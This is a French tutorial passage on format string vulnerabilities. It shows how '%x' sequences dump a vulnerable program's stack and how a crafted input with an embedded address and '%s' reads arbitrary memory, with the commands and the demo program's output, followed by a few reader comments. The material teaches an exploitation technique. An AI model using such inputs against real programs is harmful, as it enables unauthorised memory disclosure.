Format Strings


<< Rappels sur les format strings Ecrire n'importe où en mémoire >>


II°) Exploitation de format strings : lire une adresse arbitraire

   Dans la partie précédente, nous avons vu que quand on passait une chaîne formatée en paramètre, il se peut qu'elle soit interprétée ainsi (dans l'éventualité où le programmeur a laissé une vulnérabilité de type chaîne formatée). Tout d'abord, il est nécessaire d'analyser quels paramètres la fonction printf() utilise. La réponse est simple car, comme toutes les fonctions, printf() a accès aux variables passées en ajoutant à EBP. Dans notre cas, aucune variable n'a été passée. Autrement dit, il n'y a pas d'espace entre l'adresse de retour et le bloc (frame) suivant. Ce serait donc tout simplement la pile que l'on serait en train de descendre. Vérifions ceci dans l'exemple suivant, où on tente de remonter la pile par blocs de 4 bytes :
    $ echo `perl -e 'print "%x-"x50;'` | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049864

    i = 1337 = 539 et se trouve à 0x8049860
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
    %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-

    ou comme ça : bfff5f54-12-8049860-bfff6020-bfff601c-b7f9fff4-b7fa0820-bfff6028-252d7825-78252d78-2d78252d-
    252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-
    78252d78- 2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-
    2d78252d-252d7825- 78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-
    252d7825-78252d78-2d78252d- 252d7825-2d78-0-1-0-bfff79f3-

    Fin du programme

    $
On se rend notamment compte que la chaîne "25782D" (on se rappelle que les bytes sont stockées en little endian) se répète beaucoup. Armés de notre table ascii, on se rend compte que cette suite n'est autre que "%x-", autrement dit la chaine que nous avons rentré, ce qui conforte le fait que nous explorons bien la pile. Puisque la fonction printf() se trouve au plus haut de la pile, il est naturel que la chaine formatée que nous avons entré est placée derrière le stack frame pointer actuel (EBP), c'est-à-dire à une adresse mémoire plus haute. Ainsi, on doit être capables de contrôler les arguments passés à la fonction printf.
En étudiant la sortie ci-dessus, on se rend compte que le 9ème paramètre formaté est %x-%. Autrement dit, notre chaîne commence ici. Si on lit cet argument avec %s au lieu de %x, printf() va essayer de lire la chaine située à l'adresse 0x252d7825, d'où un crash certain du programme. Mais, si on place au début de la chaîne une adresse valide, on peut a priori utiliser %s pour faire lire à printf() une string présente à cet endroit. De cette façon, on va donc essayer d'accéder à notre chaîne de test (se situant à 0x08049864 d'après les outputs précédents) :
    $ echo `printf "\x64\x98\x04\x08"`%x-%x-%x-%x-%x-%x-%x-%x%s | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 8049864

    i = 1337 = 539 et se trouve à 0x8049860
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, d˜%x-%x-%x-%x-%x-%x-%x-%x%s

    ou comme ça : d˜bf8487a4-12-8049860-bf848870-bf84886c-b7f8eff4-b7f8f820-bf848878Chaîne de caractères de test

    Fin du programme

    $


Apparement, notre manipulation a fonctionné à merveille. Nous voyons déjà à quel point il est facile d'explorer la pile ou n'importe quelle variable présente en mémoire avec ce type de vulnérabilité. Ce n'est pas tout. Il est aussi très facile de changer les données à n'importe quelle adresse mémoire, ce que nous nous apprêtons à démontrer.
<< Rappels sur les format strings Ecrire n'importe où en mémoire >>



6 Commentaires
Afficher tous


FrizN 16/12/12 14:04
Menu à gauche, "systèmes et applicatifs", deuxième paragraphe, dernière phrase. Quand d'autres font du travail de qualité, pourquoi ne pas s'appuyer dessus ?

Anonyme 13/12/12 09:53
C'est mal plagier des livres....

Anonyme 19/12/10 22:07
trop facile !!.

FrizN 26/10/10 07:56
Comme je l'ai dit sur l'autre article, l'exemple d'écriture est déroulé sous Linux, il est normal qu'il ne fonctionne pas immédiatement sous Windows. Mais avec des adaptations, le principe reste le même.




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.